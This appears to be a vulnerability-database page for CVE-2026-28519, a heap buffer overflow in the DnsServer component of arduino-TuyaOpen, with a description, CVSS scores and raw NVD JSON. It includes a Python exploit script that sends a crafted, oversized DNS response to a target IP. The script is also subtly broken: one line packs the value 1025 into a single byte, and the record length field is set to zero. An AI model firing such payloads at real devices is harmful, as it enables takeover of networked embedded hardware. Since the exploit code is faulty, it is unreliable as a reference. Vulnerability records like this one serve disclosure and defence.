Security Vulnerability Report
中文
CVE-2026-28519 CVSS 8.8 HIGH

CVE-2026-28519

Published: 2026-03-16 14:19:28
Last Modified: 2026-03-17 15:38:55

Description

arduino-TuyaOpen before version 1.2.1 contains a heap-based buffer overflow vulnerability in the DnsServer component. An attacker on the same local area network who controls the LAN DNS server can send malicious DNS responses to overflow the heap buffer, potentially allowing execution of arbitrary code on affected embedded devices.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:tuya:arduino-tuyaopen:*:*:*:*:*:*:*:* - VULNERABLE
arduino-TuyaOpen < 1.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-28519 PoC - Malicious DNS Response Generator # Target: arduino-TuyaOpen DnsServer Heap Buffer Overflow # Note: This PoC is for educational and security research purposes only import struct import socket import random def create_malicious_dns_response(transaction_id, target_domain): """ Create a malicious DNS response that triggers heap buffer overflow in arduino-TuyaOpen DnsServer component """ # DNS Header (12 bytes) dns_header = struct.pack('>HHHHHH', transaction_id, # Transaction ID 0x8180, # Flags: Response, Authoritative, No error 1, # Questions: 1 1, # Answer RRs: 1 0, # Authority RRs: 0 0 # Additional RRs: 0 ) # Query section - malformed to trigger overflow query = b'' for label in target_domain.split('.'): query += bytes([len(label)]) + label.encode() query += b'\x00' # End of domain name # Query type (TXT) and class (IN) query += struct.pack('>HH', 16, 1) # Answer section - crafted to cause heap overflow answer = b'\xc0\x0c' # Pointer to domain name in question answer += struct.pack('>HHIH', 16, 1, 300, 0) # TXT record header # Malicious payload to overflow heap buffer # This triggers the vulnerability by sending oversized data overflow_payload = b'A' * 1024 # Overflow data answer += bytes([len(overflow_payload) + 1]) + overflow_payload + b'\x00' return dns_header + query + answer def exploit_cve_2026_28519(target_ip, target_port=53, target_domain='device.local'): """ Send malicious DNS response to trigger heap buffer overflow Args: target_ip: IP address of the vulnerable device target_port: DNS port (default 53) target_domain: Domain name being queried """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) transaction_id = random.randint(0, 65535) malicious_response = create_malicious_dns_response(transaction_id, target_domain) try: sock.sendto(malicious_response, (target_ip, target_port)) print(f"[+] Malicious DNS response sent to {target_ip}:{target_port}") print(f"[+] Transaction ID: {hex(transaction_id)}") print(f"[+] Payload size: {len(malicious_response)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [domain]") print("Example: python3 poc.py 192.168.1.100 device.local") sys.exit(1) target = sys.argv[1] domain = sys.argv[2] if len(sys.argv) > 2 else 'device.local' exploit_cve_2026_28519(target, 53, domain)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28519", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:28.127", "lastModified": "2026-03-17T15:38:55.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "arduino-TuyaOpen before version 1.2.1 contains a heap-based buffer overflow vulnerability in the DnsServer component. An attacker on the same local area network who controls the LAN DNS server can send malicious DNS responses to overflow the heap buffer, potentially allowing execution of arbitrary code on affected embedded devices."}, {"lang": "es", "value": "arduino-TuyaOpen antes de la versión 1.2.1 contiene una vulnerabilidad de desbordamiento de búfer basado en montículo en el componente DnsServer. Un atacante en la misma red de área local que controla el servidor DNS de la LAN puede enviar respuestas DNS maliciosas para desbordar el búfer del montículo, lo que podría permitir la ejecución de código arbitrario en los dispositivos embebidos afectados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tuya:arduino-tuyaopen:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.1", "matchCriteriaId": "8DCD3B50-3018-4B34-AB9B-16C0FB32AF4A"}]}]}], "references": [{"url": "https://github.com/tuya/arduino-TuyaOpen", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://src.tuya.com/announcement/32", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/arduino-tuyaopen-dnsserver-heap-based-buffer-overflow-remote-code-execution", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}